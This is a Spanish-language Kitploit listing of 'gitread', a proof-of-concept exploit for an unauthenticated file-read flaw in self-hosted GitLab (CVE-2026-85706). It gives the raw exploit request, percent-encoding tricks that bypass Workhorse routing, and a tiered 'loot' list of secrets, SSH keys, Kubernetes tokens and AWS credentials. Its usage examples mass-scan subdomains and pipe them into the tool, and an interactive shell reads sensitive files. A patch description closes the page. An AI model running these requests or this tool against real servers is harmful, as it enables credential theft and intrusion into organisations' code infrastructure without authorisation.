Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
gitread — CVE-2026-85706 · lectura de archivos sin autenticación en GitLab CE/EE · PoC de investigación con modo oracle, enumeración de fd y objetivo de loot por niveles | Kitploit
Herramientas/GitHubGitHub/plur1bu5/gitread
ReconocimientoAnálisis de VulnerabilidadesExplotaciónScripting y AutomatizaciónExplotación de Aplicaciones WebExfiltración de DatosRecopilación de InformaciónSeguridad WebPruebas de PenetraciónRed Teaming
GitHubplur1bu5/gitread
1hace 17h 57mAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →

gitread

CVE-2026-85706 · lectura de archivos sin autenticación en GitLab CE/EE · PoC de investigación con modo oracle, enumeración de fd y objetivo de loot por niveles

Ver Repositorio
Compartir

gitread

PoC para CVE-2026-85706, una lectura arbitraria de archivos sin autenticación que afecta a GitLab CE/EE autogestionado.

CVECVE-2026-85706
CVSS10.0 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N)
Afectado18.7 a 19.1.7, 19.2.0 a 19.2.5, 19.3.0 a 19.3.1
Corregido19.1.8 / 19.2.6 / 19.3.2 (publicado el 2026-09-10)
ComponenteRepository Commits API / Files API (Workhorse body-upload)
Reporters3ntago vía GitLab HackerOne

Cómo funciona

Tres endpoints de la API de repositorio se encuentran detrás del requestBodyUploader de Workhorse:

root@kitploit:~
POST /api/v4/projects/:id/repository/commits
POST /api/v4/projects/:id/repository/files/:file_path
PUT  /api/v4/projects/:id/repository/files/:file_path

El handler de Rails llama a File.open(params['file.path']) antes de authenticate!. Cuatro condiciones hacen que esto sea explotable:

1. La autenticación se ejecuta después de la lectura del archivo. require_gitlab_workhorse! solo verifica el encabezado JWT Gitlab-Workhorse-Api-Request. Workhorse estampa ese encabezado en cada solicitud que proxea, incluyendo passthroughs simples. El authenticate! real vive dentro de authorize_push_to_branch!, que se ejecuta después de que file_params_from_body_upload ya haya leído el archivo del disco.

2. file.path proviene directamente de la solicitud. file_params_from_body_upload lee params['file.path'] como una ruta absoluta sin validación. En el flujo previsto, Workhorse escribe la carga en un archivo temporal e inyecta ese parámetro por sí mismo. Un atacante simplemente lo envía directamente como un parámetro de cadena de consulta apuntando a cualquier lugar del sistema de archivos.

3. La coincidencia de rutas de Workhorse nunca decodifica el percent-encoding. Workhorse compara las rutas de carga contra EscapedPath(), los bytes de URL sin procesar tal como se reciben. Puma decodifica las secuencias %XX antes de enrutar a Grape. Por lo tanto, codificar un carácter en un segmento estático hace que Workhorse omita su regla de reescritura mientras Rails sigue enrutando al handler vulnerable:

root@kitploit:~
POST /api/v4/projects/1/repository/commits/      (barra diagonal final)
POST /api/v4/projects/1/repository/%63ommits     (c -> %63)
POST /api/v4/projects/1/%72epository/commits     (r -> %72)
POST /api/v4/projects/1/repository/commits.json  (sufijo de formato de Grape)

4. Rack devuelve el contenido del archivo en la respuesta de error. Con Content-Type: application/x-www-form-urlencoded, el contenido del archivo se entrega a Rack::Utils.parse_nested_query. Cualquier % sin dos dígitos hexadecimales a continuación genera InvalidParameterError: invalid %-encoding (<content>). Todo hasta el primer & en el archivo se devuelve en el cuerpo del 400.

Los archivos sin % sin escape aún se leen antes de la autenticación. La respuesta 401 de la rama urlencoded y un 500 de la rama multipart confirman ambas que el archivo existe y es legible por el usuario git, lo que las hace útiles como oráculo de existencia.

Solicitud de exploit:

root@kitploit:~
POST /api/v4/projects/1/repository/commits/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded

file=&file.path=/etc/gitlab/gitlab.rb&file.size=1&Content-Type=application/x-www-form-urlencoded

Características

  • --file lee cualquier archivo individual; recurre automáticamente al oráculo si no hay un disparador de eco
  • --loot ejecuta 36 objetivos en 7 niveles, ordenados por probabilidad confirmada de disparador de eco
  • --oracle ejecuta una sonda de doble rama (urlencoded + multipart) contra archivos sin eco e indica si cada uno es legible, inexistente o ilegible
  • --proc enumera /proc/self/fd/0-31 para encontrar descriptores de archivo abiertos, luego lee objetivos de reconocimiento estándar de /proc
  • --shell entra en un shell interactivo de lectura de archivos con los comandos cat, loot, oracle, project y curl
  • --pipe lee objetivos desde stdin y maneja salida de subfinder, texto de httpx, JSON de httpx, JSON de nuclei y líneas de host sin procesar
  • --list toma un archivo de objetivos, uno por línea
  • --threads para escaneo masivo concurrente
  • --proxy enruta todo a través de Burp o mitmproxy
  • --raw escribe bytes sin procesar en stdout sin decoración, útil para redirigir a un archivo
  • --full ejecuta loot, oracle y proc en una sola pasada
  • Salida de informe JSON y JSONL mediante -o
  • Fingerprint de versión de GitLab con verificación de rango afectado
  • Soporte de color en terminal de Windows

Instalación

root@kitploit:~
pip install requests
python3 gitread.py -h

Requiere Python 3.10 o superior. Sin otras dependencias.

Uso

Objetivo único

root@kitploit:~
python3 gitread.py -t https://gitlab.corp.com --file /etc/passwd
python3 gitread.py -t https://gitlab.corp.com --file /etc/gitlab/gitlab.rb --raw > gitlab.rb
python3 gitread.py -t https://gitlab.corp.com --loot
python3 gitread.py -t https://gitlab.corp.com --oracle
python3 gitread.py -t https://gitlab.corp.com --full -o report.json
python3 gitread.py -t https://gitlab.corp.com --loot --shell
python3 gitread.py -t https://gitlab.corp.com --loot --proxy http://127.0.0.1:8080

Pipeline

root@kitploit:~
subfinder -d corp.com -silent \
  | httpx -silent -sc -td \
  | python3 gitread.py --pipe --loot -o hits.jsonl

subfinder -d corp.com -silent \
  | httpx -silent -json \
  | python3 gitread.py --pipe --loot -q -o hits.jsonl

python3 gitread.py --list hosts.txt --loot --threads 20 -o hits.jsonl

cat hosts.txt | python3 gitread.py --loot

stdin se detecta automáticamente cuando no es un TTY, por lo que --pipe es opcional en la mayoría de los casos.

Shell

root@kitploit:~
gitread@target> cat /etc/gitlab/gitlab-secrets.json
gitread@target> loot
gitread@target> oracle
gitread@target> project 35
gitread@target> curl /etc/passwd
gitread@target> exit

Veredictos de respuesta

VeredictoSignificado
leakContenido del archivo devuelto en el cuerpo del 400, lectura confirmada
leak-fragEco parcial mediante error de tipo de parámetro
read-noechoEl archivo se leyó antes de la autenticación pero no tiene % sin escape, por lo que no se devolvió nada
READABLELa rama multipart devolvió 500, el archivo existe y es legible por el usuario git
missingEl servidor indicó que el archivo local no está presente
rewriteWorkhorse reescribió el cuerpo, esta forma de bypass está muerta
norouteRails 404, la instancia está parcheada o la ruta es incorrecta
server-error500, el archivo existe pero causó un error de análisis

Niveles de loot

NivelArchivosEco
1gitlab.rb, gitlab.yml, redis.confEl contenido se filtra directamente
2gitlab-secrets.json, secrets.yml, database.ymlSolo oráculo, hex puro
3.gitlab_workhorse_secretSolo oráculo
4Claves privadas SSH y authorized_keysSolo oráculo
5gitlab-shell.yml, gitaly.toml, configuración de PostgreSQLSolo oráculo
6Token de cuenta de servicio de Kubernetes, credenciales de AWSSolo oráculo
7Hostname, hosts, passwd, os-release, environSolo oráculo

Flags

FlagDescripción
-t, -u, --targetURL base única
--pipeLeer objetivos desde stdin
--list FILEArchivo de objetivos
--file PATHRuta absoluta única a leer
--lootEjecución completa de loot de 36 objetivos
--oracleSonda de doble rama de archivos sin eco
--procEnumeración de fd en /proc y reconocimiento
--shellShell interactivo después del escaneo
--fullloot + oracle + proc
--project-id IDForzar un id de proyecto en lugar de autodetectarlo
--forceEscanear incluso si el objetivo no se identifica como GitLab
--rawEscribir bytes sin procesar en stdout, sin decoración
--proxy URLProxy HTTP/S
--threads NHilos de trabajo para el modo pipeline (por defecto 8)
--timeout NTiempo de espera por solicitud en segundos (por defecto 15)
-o FILEGuardar informe (.json para array con formato, cualquier otra cosa para JSONL)
-q, --quietImprimir solo los aciertos
-v, --verboseMostrar cada intento de sonda
--no-bannerSuprimir el banner

Códigos de salida: 0 fuga confirmada, 1 solo oráculo o sin fugas en pipeline, 2 nada encontrado.

Parche

Corregido en el commit maestro 0d9ce3e7, retroportado como 1fe30154 / b43c8b26 / 0ff7b6b2.

Se cambiaron tres cosas al mismo tiempo:

  1. authenticate! se movió antes de file_params_from_body_upload en los tres endpoints para que el archivo nunca se lea en una solicitud no autenticada
  2. file.path ahora solo se acepta desde un objeto UploadedFile tipado producido por el middleware multipart, que requiere un JWT válido firmado por Workhorse, no desde un parámetro de cadena de consulta sin procesar
  3. InvalidParameterError ya no interpola e.message en el cuerpo de la respuesta, por lo que el canal de eco se cierra incluso si alguien encontrara una forma de eludir las dos primeras correcciones

El bug se introdujo en GitLab 18.7 (diciembre de 2025) cuando se agregó la variante body-upload de la API de commits.


hecho con amor por @plur1bu5 -- si te resulta útil, se agradece una estrella

Descargar herramienta